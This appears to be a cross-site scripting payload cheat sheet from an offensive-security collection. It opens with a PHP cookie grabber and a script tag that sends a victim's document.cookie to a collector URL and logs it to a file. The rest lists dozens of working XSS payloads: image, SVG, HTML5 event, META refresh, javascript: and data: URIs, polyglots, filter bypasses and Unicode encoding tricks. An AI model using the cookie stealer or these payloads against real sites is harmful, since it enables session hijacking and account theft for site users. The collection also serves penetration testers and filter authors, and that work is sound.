# Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.	

## Exploit code or POC

Cookie grabber for XSS
```
<?php 
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
```

## XSS in HTML/Applications 
XSS Basic
```
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
```

XSS for HTML5
```
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
```


XSS in META tag
```
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

With an additionl URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

XSS in flash application
```
 \%22})))}catch(e){alert(document.domain);}// 

 "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// 

 "a")(({type:"ready"}));}catch(e){alert(1)}// 
```



## XSS in wrappers javascript and data
XSS with javascript:
```
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
```

XSS with data:
```
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
```


## XSS in files
XSS in XML
```
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
```


XSS in SVG
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>
```

XSS in SVG (short)
```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
```
more payloads in ./files


## Polyglot XSS
Polyglot XSS - 0xsobky
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Polyglot XSS - Ashar Javed
```
 ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

Polyglot XSS - Mathias Karlsson
```
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// 
```

Polyglot XSS - Rsnake
```
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> 
```


## Filter Bypass and exotic payloads
```
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~> 
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
```

Using Unicode
```
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/

%C0%BE = >
%C0%BC = <
%CA%BA = "
%CA%B9 = '
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```


## Thanks to
* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
* tbm